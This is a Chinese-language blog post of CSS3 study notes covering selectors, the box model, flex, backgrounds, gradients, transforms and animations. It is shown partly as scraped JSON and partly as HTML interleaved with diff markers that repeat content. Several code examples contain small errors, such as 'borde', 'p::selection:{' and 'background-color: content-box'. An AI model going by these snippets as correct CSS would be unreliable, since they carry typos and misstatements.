：选择父元素中倒数第n个子元素\nn的值必须要大于等于0，也可以是表达式\n:target：选择被锚链接指向 ::selection：选择被鼠标选中\n例如：\n:target{ background-color: #ccc; } \\跳转至1\n…\n1\n或者\np::selection:{ background-color: #ccc; } xxx\n…\nxxx\n::first-line：选择第一行 ::first-letter：选择第一个字符\n例如：\ndiv{ width: 100px; height: 100px; } div::first-line{ background-color: #ccc; } div::first-letter{ background-color: #000; } sjdasfkdskbdsalkddsfjdslsakfbsdlss xxx test 过渡\n.box1 { width: 300px; height: 300px; background-color: red; transition-property: all; transition-duration: 3s; } .box1:hover { width: 500px; height: 500px; background-color: #ccc; } transition-property：表示哪些属性要参与到过渡动画效果，all表示全部\ntransition-duration：表示过渡执行时间\ntransition-delay: 设置过渡执行前等待的时间\ntransition-timing-function：过渡的速度类型，linear为相同速度，ease为开始慢速，变快，然后慢速结束，ease-in慢速开始，ease-out慢速结束，ease-in-out以慢速开始和结束，cubic-bezier开始到结束的不同速度过渡，用小数来表示进度，例如cubic-bezier(0.1, 0.3, 0.6, 0.1)\nCSS3 border-image\nborder-image可以在元素的边框上绘制图像，规范要求使用borde-images时边框样式必须存在\nborder-image: url(./logo.jpg) 10 repeat\n上面这行代表使用图片logo.jpg，裁剪位置10，使用重复方式\n图片：使用url()调用，路径可以是绝对或者相对，也可以不用图片，即none\n裁剪位置：默认单位为px，10表示10px，不需要写单位\n支持使用百分百，例如300px*100px的图片，30%就是裁剪图片90px*30px的四个边的大小 也可以使用4个数，代表上右下左要裁剪的数值\n重复方式只是其中一种方式，可以用于设置图像边界是否要重复或者拉伸，铺满\n重复（repeat)，拉伸（stretch）,平铺（round）\nstretch（拉伸）为默认值，所以会裁剪出来的图片比边框小，就会拉伸，以保证填满边框\n可以使用两个参数，当使用一个参数时，水平方向以及垂直方向都使用这个参数\n当使用两个参数时，第一个参数代表水平方向，第二个参数表示垂直方向\nborder-image还有4个子属性\n指定要用于绘制边框的图像的位置\nborder-image-source\n图像边界向内收缩\nborder-image-slice\n图像边界的宽度\n可以使用带单位的，百分百，不带单位的（倍数），auto\nborder-image-width\n指定在边框外部绘制 border-image-area 的量\n就是原本的位置向外拉伸\nborder-image-outset\n用于设置图像边界是否要重复或者拉伸，铺满\nborder-image-repeat\n引入css 内联css： // 要写在开始标签中\n嵌入css： div{color: #fff;}\n外部css: 优先级：内联 \u003e 嵌入 \u003e 外部\n选择器\n标签选择器：div{} id选择器：#main{} 类选择器：.main{} 子选择器：.main\u003ediv{} 后代选择器：.main div{} 通用选择器：*{} 伪类选择器：a:{} 分组选择器：div,span{} id选择器只能在文档中使用一次，类选择器可以使用多次\n选择器的优先级是: 内联 \u003e id \u003e 类 \u003e 标签 \u003e 通配符\n标签的权值为1\n类选择器的权值为10\nID选择器的权值为100\n伪类选择器是10\n权值越大，优先级就越大\n优先级最大的!important,例如：\ndiv{color:#fff!important;}\n样式\n字体font-family div{font-family:“Microsoft Yahei”;}\n字体大小font-size div{font-size:16px;}\n字体粗细font-weight div{font-weight:bold;}\n字体样式font-style div{font-style:normal;}\n字体颜色color div{color:#fff;}\n文本样式text-decoration div{text-decoration:none;}\n文本首行缩进text-indent div{text-indent:2em;}\n文本行间间距line-height div{line-height:2em;}\n增加或减少每一个文字的间距 letter-spacing div{letter-spacing:10px;}\n增加或减少每个英文单词之间的间距word-spacing div{word-spacing:10px;}\n文本对齐方式text-align div{text-align:center;}\n定位： 定位有两种，绝对定位和相当定位\n相对定位和绝对定位都有四个属性\nleft（左），top(头)，right（右），bottom（底）\n绝对定位：\n设置绝对定位的元素会脱离文档流，所以不会占用空间\ndiv{ position: absolute; } 绝对定位的元素的位置相对于元素最近的已定位的祖先元素，如果没有，那么相对于最初的包含块（也就是body）\n相对定位：\n相对定位的元素的位置相对于元素最初的位置，使用相对定位时，元素会占据原来的空间，所以，移动元素会覆盖其他元素\ndiv{ position: relative; } css有下面这些选择器\nid选择器（#myid） 类选择器（.myclassname） 标签选择器（div,h1,p） 后代选择器（h1p） 相邻后代选择器（子）选择器（ul\u003eli） 兄弟选择器（li~a） 相邻兄弟选择器（li+a） 属性选择器（a[rel=“external”]） 伪类选择器（a:hover,li:nth-child） 伪元素选择器（::before、::after） 通配符选择器（*）\n在css3中使用单冒号来表示伪类，用双冒号来表示伪元素\n伪类一般用于匹配元素的一些状态，而伪元素一般用于匹配元素的位置\nCSS3 圆角\n使用border-radius属性\n可以使用1——4个值\n1个值，表示四个角都使用这个值\n2个值，表示第一个值对应左上和右下，第二个值对应左下和右上\n3个值，表示第一个值对应左上，第二个值对应左下和右上，第三个值表示右下\n4个值，表示第一个值对应左上，第二个值对应右上，第三个值表示右下，第四个值表示左下\n单独设置圆角\n左上角 border-top-left-radius 右上角\tborder-top-right-radius\n右下角 border-bottom-right-radius 左下角 border-bottom-left-radius\ncss阴影\nbox-shadow: 10px 10px 10px #fff;\n第一个值是阴影水平位移，第二个值为阴影垂直位移，第三个值为模糊半径\n第四个值为阴影颜色\ntransition属性 例如: div{ width: 100px; height: 100px; background: #000; transition: width 1s; } div:hover{ background: #f6f6f6; }\nz-index属性\n该属性用于堆叠元素的顺序，高级的元素会堆叠在低级的元素前面，例如：\n#app{ z-index: -1; } font-family属性\n该属性用于设置元素字体，可以设置多个字体，当第一个字体不支持时，自动尝试设置下一个字体\n@keyframes 规则：这个规则是可以将样式以动画方式（特定时间）逐渐地从当前样式修改为新的样式，当超过特定时间又恢复原来的样式\n#app{ width: 100px; height: 100px; background-color: #000; animation-name: test; animation-duration: 6s; animation-delay: 3s; animation-iteration-count: infinite; } @keyframes test { from{ background-color: #000; } to{ background-color: #ccc; } } background-image\n该属性可以添加背景，可以添加多张背景，例如：\n#app{ background-image: url(1.jpg),url(2.jpg); background-position: left top,right bottom; background-repeat: no-repeat,repeat; } background-size\n该属性可以指定背景的大小，例如： #app{ background-image: url(1.jpg); background-repeat: no-repeat; background-size: 100px 100px; }\nbackground-origin\n该属性可以指定背景的位置区域（外边框（border-box），内边框（padding-box），内容区（content-box）），例如：\nbackground-color: content-box; background-clip\n该属性可以将背景裁剪到指定位置（外边框（border-box），内边框（padding-box），内容区（content-box），例如：\nbackground-clip: content-box; 渐变分为线性渐变（直线）和径向渐变（中心）\n线性渐变（默认从上到下）\n#app{ width: 300px; height: 300px; background-image: linear-gradient(#ccc,#000); } 从左到右\n#app{ width: 300px; height: 300px; background-image: linear-gradient(to right ,#ccc,#000); } 从左上角到右下角\n#app{ width: 300px; height: 300px; background-image: linear-gradient(to right bottom ,#ccc,#000); } 带角度的（不能指定方向）\n#app{ width: 300px; height: 300px; background-image: linear-gradient(30deg,#ccc,#000); } 带透明度的\n#app{ width: 300px; height: 300px; background-image: linear-gradient(30deg,rgb(255,0,0,1),rgb(0,0,0,0)); } 带重复的\n#app{ width: 300px; height: 300px; background-image: repeating-linear-gradient(#ccc, #fcfcfc 20%, #000 30%); } 径向渐变\n#app{ width: 300px; height: 300px; background-image: radial-gradient(#fff, #ccc, #000,#fc0000); } 必须要有两个以上的颜色，第一个颜色在中间，依次往外排\n同样可以设置每个颜色的占比\n#app{ width: 300px; height: 300px; background-image: radial-gradient(#fff 10%, #ccc 20%, #000 30%,#fc0000 40%); } 当元素是不正的，那么径向渐变默认就是椭圆的（ellipse），也可以指定为圆形的（circle）\n#app{ width: 300px; height: 250px; background-image: radial-gradient(circle,#fff, #ccc, #000,#fc0000); } 还提供了定义渐变大小的关键字，分别是closest-side，farthest-side，closest-corner，farthest-corner\n当然也提供了可以重复渐变的，例如：\n#app{ width: 300px; height: 250px; background-image: repeating-radial-gradient(circle,#000 20%, #fc0000 30% , yellow 50%); } 文本阴影\n#app{ text-shadow: 5px 5px 5px #000; } 值分别为水平阴影，垂直阴影，模糊度，阴影颜色\n元素盒子阴影\n#app{ box-shadow: 5px 5px 5px #000; } 容器文本溢出处理\n#app{ text-overflow: ellipsis; } 文本溢出默认为text-overflow: clip\n自动强制文本换行（当单词或者某个文本太长，就会强制换行，避免文本溢出）\n#app{ word-wrap: break-word; } @font-face 规则\n该规则允许使用客户端没有的字体，例如：\n@font-face { font-family: hallo; src: url(\"hallo.ttf\"); } div{ font-family: hallo; } 必需属性font-family：字体名称\nsrc：字体文件的url\n在需要用字体的元素上font-family: 字体名称\n过渡动画，会逐渐式加载样式，例如\n#app{ width: 100px; height: 100px; background-color: #333; transition: height 3s,width 3s,transform 3s; } #app:hover{ width: 300px; height: 300px; transform: rotate(360deg); } 当鼠标移动到该元素上，那么会在3秒内逐渐转换为指定样式，移开鼠标那么又会逐渐恢复原来的样式\ncolumn-count 属性，该属性可以将元素中的文本分成指定列，例如\n#app{ column-count: 3; } 每个列之间的距离使用column-gap属性指定，例如\n#app{ column-count: 3; column-gap: 20px; } column-rule-style属性可以指定每个列分隔的边框样式，例如下面样式为实线\n#app{ column-count: 3; column-gap: 20px; column-rule-style: solid; } column-rule-width属性可以指定列的边框之间的宽度，例如\n#app{ column-count: 3; column-gap: 20px; column-rule-style: solid; column-rule-width: 1px; } column-rule-color属性可以指定列的边框的颜色，例如：\n#app{ column-count: 3; column-gap: 20px; column-rule-style: solid; column-rule-width: 6px; column-rule-color: #000; } 当然列的边框的样式可以缩写，例如：\n#app{ column-rule: 6px solid #000; } 如果在父元素内，某个子元素不想被分列影响，直接指定子元素，例如\ndiv{ column-span: all; } column-width可以指定列的宽度，例如\ndiv{ column-width: 300px; } column-gap属性和column-width属性之间的区别，就是column-gap控制的是列与列之间的距离，而column-width控制的却是列本身的宽度\n动画，可以指定时间，在指定时间内逐渐成另一种样式，可以指定动画的过程的样式，例如\n#app{ width: 300px; height: 300px; background-color:#ccc; animation: hallo 5s; } @keyframes hallo{ 0% {background-color: #ccc;} 25% {background-color: #fff;} 50% {background-color: #222;} 75% {background-color: #f3f3f3} 100% {background-color: #777;} } 0%为动画开始，100%为动画结束，当动画结束时样式会恢复原来定义的样式，除了用百分比表示进度，也可以用from（起点）和to（终点）表示\n能修改颜色，当然也能修改位置，例如：\n#app{ width: 300px; height: 300px; background-color:#ccc; animation: hallo 5s; position: relative; } @keyframes hallo{ 0% { background-color: #ccc; top: 0px; left: 0px; } 25% { background-color: #fff; top: 0px; left: 300px; } 50% { background-color: #222; top: 300px; left: 300px; } 75% { background-color: #f3f3f3; top: 300px; left: 0px; } 100%{ background-color: #777; top: 0px; left: 0px; } } 二维改变样式\n旋转（值为正数则顺时针转，值为负数则逆时针转）\n#app{ width: 300px; height: 300px; background-color: #ccc; transform: rotate(60deg); } 平移(根据x（左），y（上）轴决定)\n#app{ width: 300px; height: 300px; background-color: #ccc; transform: translate(100px,100px); } 放大或者缩小\n#app{ width: 300px; height: 300px; background-color: #ccc; transform: scale(2,2); } 宽度和高度是原来的2倍\n倾斜(根据x（水平），y（垂直）轴决定，默认为0，值为负数则逆时针转)\n#app{ width: 300px; height: 300px; background-color: #ccc; transform: skew(10deg,30deg); } 同样也可以缩写为一个属性\n#app{ width: 300px; height: 300px; background-color:#ccc; transform:matrix(0.6,1.5,-0.5,1.2,3,3); } 这个6个值分别代表旋转，放大或者缩小，平移，倾斜\n三维改变样式\n#app{ width: 300px; height: 300px; background-color:#ccc; transform: rotateX(60deg); } #app{ width: 300px; height: 300px; background-color:#ccc; transform: rotateY(60deg); } #app{ width: 300px; height: 300px; background-color:#ccc; transform: rotateZ(60deg); } 旋转元素的起始位置\n#app{ width: 300px; height: 300px; background-color:#ccc; transform: rotate(60deg); transform-origin: 30% 60%; } 拓展\n#app{ width: 500px; height: 500px; perspective: 200; perspective-origin: 10% 20%; background-color: #000; } #app div{ width: 300px; height: 300px; background-color:#ccc; transform: rotateX(60deg); transform-style: preserve-3d; backface-visibility: hidden; } backface-visibility属性用于指定背面是否显示\nperspective-origin属性用于改变底部位置\nperspective属性用于查看透视图（z只支持3D元素）\ntransform-style属性用于是否保留3d位置保留\ncss强制换行，避免文本溢出容器\nwhite-space: pre-wrap; normal：默认，空白被忽略\nnowrap：文本不换行，文本在同一行继续\npre：保留空格，换行保留，不自动换行\npre-wrap：保留完整空格，保留换行符，自动换行\npre-line：保留空格（可能不完整），保留换行\nfilter属性滤镜\n该属性默认值为none\n背景为黑白\nfilter: grayscale(100%); 高斯模糊\nfilter: blur(3px); 亮度\nfilter: brightness(160%); 对比度\nfilter: contrast(160%); 透明度\nfilter: opacity(30%); 饱和度\nfilter: saturate(300%); 阴影\nfilter: drop-shadow(5px 5px 6px #ccc); 色相旋转\nfilter: hue-rotate(30deg); 颠倒输入\nfilter: invert(30%); 允许使用多个滤镜，多个滤镜有空格分开\n表格布局（现在很少用，一般都是用div+css）\n该元素会作为块级表格（例如table标签，有换行） display: table;\n内联表格（没换行） display: inline-table;\n表格行（例如tr） display: table-row;\n表格单元格（例如td） display: table-cell;\n表格标题 display: table-caption;\n单元格列 display: table-column;\n","wordCount":"1128","inLanguage":"en","datePublished":"2021-06-16T09:21:00Z","dateModified":"2021-06-16T09:21:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/11/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>css3学习笔记</h1><div class=post-meta><span title='2021-06-16 09:21:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/css3%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>盒子模型</p><p>盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model</p><p>外边距（margin）：一般用于控制同辈元素之间的间距</p><p>边框（border）：在内边距和内容之外的边框</p><p>内边距（padding）：内边框是用于控制内容的距离</p><p>内容（content）：内容，一般为文本和图像</p><p>例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子</p><pre><code>div{
+    width: 100px;
+    borde: 10px solid red;
+    padding: 10px;
+    margin: 10px;
+}
 </code></pre><p>top，bottom，left，right分别代表了上，下，左，右</p><p>或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值</p><p>有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下</p><p>这个盒子大小应该是内容的宽度+内边距+边框+外边距</p><p>100+20+20+20=160</p><p>两种盒模型</p><p>IE 盒子模型（box-sizing content-box）（怪异盒模型）</p><p>IE盒模型的width与height是content、padding和border的总和</p><p>调用IE盒模型
 box-sizing: border-box;</p><p>W3C标准盒模型（box-sizing content-box）</p><p>标准盒模型的width与height只含content，不包括padding和border</p><p>调用W3C标准盒模型
 box-sizing: content-box;</p><p>在IE6，7，8浏览器中不声明DOCTYPE类型，那么在IE6，7，8浏览器中会将盒子模型解释为IE盒子模型</p><p>如果在页面中声明了DOCTYPE类型，那么所有的浏览器都会把盒模型解释为W3C盒模型</p><p>JavaScript获取盒模型的宽和高（这里的DOM不是指整个dom，而是某个元素）</p><p>DOM.style.width和DOM.style.height（只能获取内联样式）</p><p>DOM.currentStyle.width和DOM.currentStyle.height（只支持IE）</p><p>window.getComputedStyle(DOM).width和window.getComputedStyle(DOM).height（兼容性好）</p><p>获取元素相对于视窗的位置(top,right,bottom,left都可以获取)</p><p>let data = DOM.getBoundingClientRect()
-data.top</p><hr><p>有BFC特性的元素是一个被“隔离”的容器，该容器里面的元素不会在布局上影响到外面的元素</p><p>满足下面其中一个条件就触发BFC特性</p><p>body 根元素</p><p>浮动元素 float除none外的值</p><p>绝对定位元素 position (absolute、fixed)</p><p>display 为 inline-block、table-cells、flex</p><p>overflow 除了 visible 以外的值 (hidden、auto、scroll)</p><p>BFC的特性：</p><p>BFC是页面上的独立容器，该容器使用类型浮动之类会影响布局的元素都不会影响到外界的布局或者元素</p><p>例子：</p><p>1.当处于同一个BFC容器时，外边距会进行重叠，为了避免重叠，可以将其放在不同的BFC容器内</p><p>2.当容器内的元素使用的浮动，将其脱离了文档流，要触发容器的BFC，那么BFC容器要包含使用了浮动的元素</p><p>3.当第一个元素使用了浮动，希望第二个元素不被浮动元素影响，要在第二个元素上触发BFC特性</p><hr><p>flex为Flexible Box 的缩写，意为"弹性盒模型"，为其盒模型提供足够大的灵活性</p><pre><code>div{
-    display: flex;
-}
+data.top</p><hr><p>有BFC特性的元素是一个被“隔离”的容器，该容器里面的元素不会在布局上影响到外面的元素</p><p>满足下面其中一个条件就触发BFC特性</p><p>body 根元素</p><p>浮动元素 float除none外的值</p><p>绝对定位元素 position (absolute、fixed)</p><p>display 为 inline-block、table-cells、flex</p><p>overflow 除了 visible 以外的值 (hidden、auto、scroll)</p><p>BFC的特性：</p><p>BFC是页面上的独立容器，该容器使用类型浮动之类会影响布局的元素都不会影响到外界的布局或者元素</p><p>例子：</p><p>1.当处于同一个BFC容器时，外边距会进行重叠，为了避免重叠，可以将其放在不同的BFC容器内</p><p>2.当容器内的元素使用的浮动，将其脱离了文档流，要触发容器的BFC，那么BFC容器要包含使用了浮动的元素</p><p>3.当第一个元素使用了浮动，希望第二个元素不被浮动元素影响，要在第二个元素上触发BFC特性</p><hr><p>flex为Flexible Box 的缩写，意为"弹性盒模型"，为其盒模型提供足够大的灵活性</p><pre><code>div{
+    display: flex;
+}
 </code></pre><p>使用flex布局的元素，被称为flex容器，该元素的所有子元素为该容器的成员，称为flex项目</p><p>flex-direction</p><p>一般用到四个值</p><p>row：在水平方向上，起点在左
 row-reverse：在水平方向上，起点在右
 column：在垂直方向上，起点在上。
@@ -135,103 +135,103 @@
 控制元素的初始宽度</p><h2 id=flex-basis-100px>\flex-basis: 100px<a hidden class=anchor aria-hidden=true href=#flex-basis-100px>#</a></h2><h2 id=flex-1>flex
 控制元素都有相同的宽度，不会被内容的长度撑开
 \flex: 1</h2><p>align-self
-控制元素单独对齐方式</p><p>align-self: auto | flex-start | flex-end | center | baseline | stretch;</p><hr><p>背景</p><p>定位</p><p>在box盒子内部的背景默认是在盒子的内边距的左上角对齐</p><p>background-origin属性则规定background是相对于什么位置来定位的</p><pre><code>.box{
-    width: 300px;
-    height: 300px;
-    padding: 10px;
-    margin: 10px;
-    background: url(&quot;hallo.jpg&quot;);
-    background-origin: padding-box;
-}
-</code></pre><p>background-origin属性值有3个，padding-box：相对于内边距定位，border-box：相对于边框定位，content-box：相对于内容区域</p><p>裁切</p><pre><code>.box{
-    width: 300px;
-    height: 300px;
-    padding: 10px;
-    margin: 10px;
-    background: url(&quot;hallo.jpg&quot;);
-    background-clip: padding-box;
-}
-</code></pre><p>background-clip属性提供相对于什么位置进行背景裁切，该属性值和background-origin一样</p><p>背景尺寸</p><pre><code>.box{
-    width: 300px;
-    height: 300px;
-    padding: 10px;
-    margin: 10px;
-    background: url(&quot;hallo.jpg&quot;);
-    background-size: 100px 100px;
-}
-</code></pre><p>background-size属性可以直接指定大小，也是可以cover或者contain填充</p><p>cover会按照原来的缩放比来填满整个盒子，而contain是按照原来缩放比，完整的填充盒子（不会填满）</p><p>边框</p><p>边框阴影</p><pre><code>.box{
-    width: 300px;
-    height: 300px;
-    border: 1px solid red;
-    box-shadow: 0px 0px 6px #ccc;
-    border-radius: 6px;
-}
-</code></pre><p>box-shadow，第一个值为阴影在水平方向的偏移量（正数为正方向，负数为反方向）</p><p>第二个值为阴影在垂直方向的偏移量（正数为朝下，负数为朝上）</p><p>第三个值为阴影的模糊度</p><p>第四个值为阴影的颜色</p><p>border-radius为边框圆角</p><p>边框图片</p><pre><code>.box{
-    width: 300px;
-    height: 300px;
-    border: 1px solid red;
-    border-image-source: url(&quot;hallo.jpg&quot;); // 边框图片
-    border-image-slice: 10; // 边框图片向内的偏移量
-    border-image-repeat: round; // 边框图片的平铺方式
-    border-image-width: 10px; // 边框图片的宽度
-}
+控制元素单独对齐方式</p><p>align-self: auto | flex-start | flex-end | center | baseline | stretch;</p><hr><p>背景</p><p>定位</p><p>在box盒子内部的背景默认是在盒子的内边距的左上角对齐</p><p>background-origin属性则规定background是相对于什么位置来定位的</p><pre><code>.box{
+    width: 300px;
+    height: 300px;
+    padding: 10px;
+    margin: 10px;
+    background: url(&quot;hallo.jpg&quot;);
+    background-origin: padding-box;
+}
+</code></pre><p>background-origin属性值有3个，padding-box：相对于内边距定位，border-box：相对于边框定位，content-box：相对于内容区域</p><p>裁切</p><pre><code>.box{
+    width: 300px;
+    height: 300px;
+    padding: 10px;
+    margin: 10px;
+    background: url(&quot;hallo.jpg&quot;);
+    background-clip: padding-box;
+}
+</code></pre><p>background-clip属性提供相对于什么位置进行背景裁切，该属性值和background-origin一样</p><p>背景尺寸</p><pre><code>.box{
+    width: 300px;
+    height: 300px;
+    padding: 10px;
+    margin: 10px;
+    background: url(&quot;hallo.jpg&quot;);
+    background-size: 100px 100px;
+}
+</code></pre><p>background-size属性可以直接指定大小，也是可以cover或者contain填充</p><p>cover会按照原来的缩放比来填满整个盒子，而contain是按照原来缩放比，完整的填充盒子（不会填满）</p><p>边框</p><p>边框阴影</p><pre><code>.box{
+    width: 300px;
+    height: 300px;
+    border: 1px solid red;
+    box-shadow: 0px 0px 6px #ccc;
+    border-radius: 6px;
+}
+</code></pre><p>box-shadow，第一个值为阴影在水平方向的偏移量（正数为正方向，负数为反方向）</p><p>第二个值为阴影在垂直方向的偏移量（正数为朝下，负数为朝上）</p><p>第三个值为阴影的模糊度</p><p>第四个值为阴影的颜色</p><p>border-radius为边框圆角</p><p>边框图片</p><pre><code>.box{
+    width: 300px;
+    height: 300px;
+    border: 1px solid red;
+    border-image-source: url(&quot;hallo.jpg&quot;); // 边框图片
+    border-image-slice: 10; // 边框图片向内的偏移量
+    border-image-repeat: round; // 边框图片的平铺方式
+    border-image-width: 10px; // 边框图片的宽度
+}
 </code></pre><p>border-image-repeat有4个常用值</p><p>stretch（默认值）：拉伸图形来填充</p><p>repeat：平铺（重复）图形来填充</p><p>round：如果无法完整平铺，那么就进行缩放来适应</p><p>space：如果无法完整平铺，那么就进行扩展来适应</p><p>文本阴影</p><p>text-shadow，有4个值，分别是水平方向的偏移量，垂直方向的偏移量，模糊度，阴影的颜色</p><p>伪类选择器</p><p>:first-child：选择父元素中的第一个子元素
 :last-child：选择父元素中的最后一个子元素
 :nth-child(n) ：选择父元素中正数第n个子元素
 :nth-last-child(n) ：选择父元素中倒数第n个子元素</p><p>n的值必须要大于等于0，也可以是表达式</p><p>:target：选择被锚链接指向
-::selection：选择被鼠标选中</p><p>例如：</p><pre><code>:target{
-    background-color: #ccc;
-}
-
-&lt;p&gt;\&lt;a href=&quot;#a&quot;&gt;跳转至1&lt;/a&gt;&lt;/p&gt;
-</code></pre><p>&mldr;</p><pre><code>&lt;p id=&quot;a&quot;&gt;1&lt;/p&gt;
-</code></pre><p>或者</p><pre><code>p::selection:{
-    background-color: #ccc;
-}
-
-&lt;p&gt;xxx&lt;/p&gt;
-</code></pre><p>&mldr;</p><pre><code>&lt;p&gt;xxx&lt;/p&gt;
+::selection：选择被鼠标选中</p><p>例如：</p><pre><code>:target{
+    background-color: #ccc;
+}
+
+&lt;p&gt;\&lt;a href=&quot;#a&quot;&gt;跳转至1&lt;/a&gt;&lt;/p&gt;
+</code></pre><p>&mldr;</p><pre><code>&lt;p id=&quot;a&quot;&gt;1&lt;/p&gt;
+</code></pre><p>或者</p><pre><code>p::selection:{
+    background-color: #ccc;
+}
+
+&lt;p&gt;xxx&lt;/p&gt;
+</code></pre><p>&mldr;</p><pre><code>&lt;p&gt;xxx&lt;/p&gt;
 </code></pre><p>::first-line：选择第一行
-::first-letter：选择第一个字符</p><p>例如：</p><pre><code>div{
-    width: 100px;
-    height: 100px;
-}
-div::first-line{
-    background-color: #ccc;
-}
-div::first-letter{
-    background-color: #000;
-}
-
-&lt;div&gt;
-    sjdasfkdskbdsalkddsfjdslsakfbsdlss
-    xxx
-    test
-&lt;/div&gt;
-</code></pre><p>过渡</p><pre><code>.box1 {
-	width: 300px;
-	height: 300px;
-	background-color: red;
-	transition-property: all; 
-	transition-duration: 3s;
-}
-
-.box1:hover {
-	width: 500px;
-	height: 500px;
-	background-color: #ccc;
-}
+::first-letter：选择第一个字符</p><p>例如：</p><pre><code>div{
+    width: 100px;
+    height: 100px;
+}
+div::first-line{
+    background-color: #ccc;
+}
+div::first-letter{
+    background-color: #000;
+}
+
+&lt;div&gt;
+    sjdasfkdskbdsalkddsfjdslsakfbsdlss
+    xxx
+    test
+&lt;/div&gt;
+</code></pre><p>过渡</p><pre><code>.box1 {
+	width: 300px;
+	height: 300px;
+	background-color: red;
+	transition-property: all; 
+	transition-duration: 3s;
+}
+
+.box1:hover {
+	width: 500px;
+	height: 500px;
+	background-color: #ccc;
+}
 </code></pre><p>transition-property：表示哪些属性要参与到过渡动画效果，all表示全部</p><p>transition-duration：表示过渡执行时间</p><p>transition-delay: 设置过渡执行前等待的时间</p><p>transition-timing-function：过渡的速度类型，linear为相同速度，ease为开始慢速，变快，然后慢速结束，ease-in慢速开始，ease-out慢速结束，ease-in-out以慢速开始和结束，cubic-bezier开始到结束的不同速度过渡，用小数来表示进度，例如cubic-bezier(0.1, 0.3, 0.6, 0.1)</p><hr><p>CSS3 border-image</p><p>border-image可以在元素的边框上绘制图像，规范要求使用borde-images时边框样式必须存在</p><p>border-image: url(./logo.jpg) 10 repeat</p><p>上面这行代表使用图片logo.jpg，裁剪位置10，使用重复方式</p><p>图片：使用url()调用，路径可以是绝对或者相对，也可以不用图片，即none</p><p>裁剪位置：默认单位为px，10表示10px，不需要写单位</p><p>支持使用百分百，例如300px*100px的图片，30%就是裁剪图片90px*30px的四个边的大小
 也可以使用4个数，代表上右下左要裁剪的数值</p><p>重复方式只是其中一种方式，可以用于设置图像边界是否要重复或者拉伸，铺满</p><p>重复（repeat)，拉伸（stretch）,平铺（round）</p><p>stretch（拉伸）为默认值，所以会裁剪出来的图片比边框小，就会拉伸，以保证填满边框</p><p>可以使用两个参数，当使用一个参数时，水平方向以及垂直方向都使用这个参数</p><p>当使用两个参数时，第一个参数代表水平方向，第二个参数表示垂直方向</p><hr><p>border-image还有4个子属性</p><p>指定要用于绘制边框的图像的位置</p><p>border-image-source</p><p>图像边界向内收缩</p><p>border-image-slice</p><p>图像边界的宽度</p><p>可以使用带单位的，百分百，不带单位的（倍数），auto</p><p>border-image-width</p><p>指定在边框外部绘制 border-image-area 的量</p><p>就是原本的位置向外拉伸</p><p>border-image-outset</p><p>用于设置图像边界是否要重复或者拉伸，铺满</p><p>border-image-repeat</p><hr><h2 id=heading><a hidden class=anchor aria-hidden=true href=#heading>#</a></h2><p>引入css
 内联css： // 要写在开始标签中</p><p>嵌入css：
-div{color: #fff;}</p><p>外部css:</p><p>优先级：内联 > 嵌入 > 外部</p><hr><p>选择器</p><pre><code>标签选择器：div{}
-id选择器：#main{}  &lt;div id=&quot;main&quot;&gt;
-类选择器：.main{}  &lt;div class = &quot;main&quot;&gt;
-子选择器：.main&gt;div{}
-后代选择器：.main div{}
-通用选择器：*{}
-伪类选择器：a:{}
-分组选择器：div,span{}
+div{color: #fff;}</p><p>外部css:</p><p>优先级：内联 > 嵌入 > 外部</p><hr><p>选择器</p><pre><code>标签选择器：div{}
+id选择器：#main{}  &lt;div id=&quot;main&quot;&gt;
+类选择器：.main{}  &lt;div class = &quot;main&quot;&gt;
+子选择器：.main&gt;div{}
